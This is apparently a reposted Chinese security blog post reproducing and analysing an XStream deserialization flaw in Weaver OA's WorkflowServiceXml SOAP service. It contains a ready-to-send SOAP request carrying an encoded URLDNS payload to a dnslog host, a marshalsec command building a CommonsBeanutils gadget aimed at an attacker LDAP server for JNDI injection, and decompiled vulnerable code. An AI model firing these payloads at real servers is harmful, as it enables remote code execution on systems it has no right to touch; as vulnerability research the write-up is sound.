泛微 WorkflowService反序列化漏洞


前言:在實戰中碰到了,但是發現怎么打就是沒反應,經過測試,最后發現只有80端口出網,最后正好學習java,順帶一起學習了解泛微,搭建泛微最后也沒搭建成功,但是services可以調用了,所以湊合着用吧...

源碼提供,謝謝逗神!

參考文章:https://www.anquanke.com/post/id/239865

漏洞復現

在自己搭建的環境中,我發現這個services是可以直接進行調用的,也不需要%20來進行繞過,應該還是版本的問題,以后看了源碼自己知道了再補上,這里僅僅復現

但是發現加了%20也同樣可以進行訪問

URLDNS:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
   <soapenv:Header/>
   <soapenv:Body>
      <web:doCreateWorkflowRequest>
    	<web:string>&lt;&#109;&#97;&#112;&gt;&#13;&#10;&#32;&#32;&lt;&#101;&#110;&#116;&#114;&#121;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#117;&#114;&#108;&gt;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#105;&#111;&#115;&#119;&#56;&#99;&#46;&#100;&#110;&#115;&#108;&#111;&#103;&#46;&#99;&#110;&lt;&#47;&#117;&#114;&#108;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#105;&#111;&#115;&#119;&#56;&#99;&#46;&#100;&#110;&#115;&#108;&#111;&#103;&#46;&#99;&#110;&lt;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#13;&#10;&#32;&#32;&lt;&#47;&#101;&#110;&#116;&#114;&#121;&gt;&#13;&#10;&lt;&#47;&#109;&#97;&#112;&gt;</web:string>
        <web:string>2</web:string>
      </web:doCreateWorkflowRequest>
   </soapenv:Body>
</soapenv:Envelope>

CommonsBeanutils JNDI注入

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://192.168.1.230:1389/uk1zlp > cbu.xml

命令執行成功:

數據包回顯執行命令

暫且不寫,到時候學習becl調用鏈再來補上!

漏洞分析

按照自己學的,對於servlet filter等相關的映射一般都在web.xml中進行實現

漏洞的URL為:/services%20/WorkflowServiceXml

這邊就直接去找對應的services.xml,我這里找到的路徑為classbean\META-INF\xfire\services.xml

   <!--增加新的webservice  -->
    <service>
    <name>WorkflowServiceXml</name>
    <serviceClass>weaver.workflow.webservices.WorkflowServiceXml</serviceClass>
    <implementationClass>weaver.workflow.webservices.WorkflowServiceImplXml</implementationClass>
  </service>

這里就直接去對應的包中進行尋找weaver.workflow.webservices.WorkflowServiceImplXml

這里通過jd-gui來進行字節碼的反編譯,如下圖所示,因為有POC了,這里分析的話那么就可以直接定位doCreateWorkflowRequest這個函數的地方了,

這種基於webservices的,一般都是通過xml來進行傳輸數據,解析的話一般都是通過手動xml來進行解析,或者通過第三方組件來幫助進行解析xml,那么就有可能觸發反序列化,比如XStream

  public String doCreateWorkflowRequest(String paramString, int paramInt)
  {
    try
    {
      WorkflowRequestInfo localWorkflowRequestInfo = (WorkflowRequestInfo)this.xmlutil1.xmlToObject(paramString);
      localWorkflowRequestInfo = getActiveWorkflowRequestInfo(localWorkflowRequestInfo);
      RequestInfo localRequestInfo = toRequestInfo(localWorkflowRequestInfo);
      if ((localRequestInfo.getCreatorid() == null) || (localRequestInfo.getCreatorid().isEmpty())) {
        localRequestInfo.setCreatorid(paramInt + "");
      }
      if (!localRequestInfo.getCreatorid().equals(paramInt + "")) {
        localRequestInfo.setCreatorid(paramInt + "");
      }
      localRequestInfo.setIsNextFlow(localWorkflowRequestInfo.getIsnextflow());
      return this.requestService.createRequest(localRequestInfo);
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
      writeLog(localException);
    }
    return null;
  }

通過URLDNS來進行試探,基於XML形式的URLDNS payload如下:

<map>
  <entry>
    <url>http://1xsz12.dnslog.cn</url>
    <string>http://1xsz12.dnslog.cn</string>
  </entry>
</map>

因為調試不了泛微,所以我們自己用XStream組件來進行調試,這里順帶分析,因為后面自己會學習XStream,順便先來了解下

導入maven依賴包:

    <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
    <dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.15</version>
    </dependency>

發現觸發了URLDNS

XStream URLDNS調試過程

通過上面兩個默認的parse和NameCoder來創建一個HierarchicalStreamReader返回

接着就是開始調用unmarshal,最后來到如下,途中還可以發現,如果沒有設置相關的Security framework,它還會打印出來提醒,說明XStream應該也提供了一系列的安全操作

接着構建了一個TreeUnmarshaller對象

該對象包含了如下屬性

接着就是開始start函數

他會先解析當前xml,現在存儲了一個hashMap,那么它則通過readClassType獲取其中的接口類Map

接着就是convertAnother,這個函數就會進行相關的解析操作,不分析了,感覺直接扔到這邊,就當粗略的了解下XStream,最后就是進行轉換的操作,對應的XML會轉換為一個HashMap

HashMap的put函數

接下來就是就會進行請求DNS,這里就不繼續分析了,后面就跟URLDNS一樣

繼續回到泛微的,那么我們就知道了XStream能夠對paramString參數 public String doCreateWorkflowRequest(String paramString, int paramInt),進行相關反序列化的操作,自然拿其他利用鏈也是可以的


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM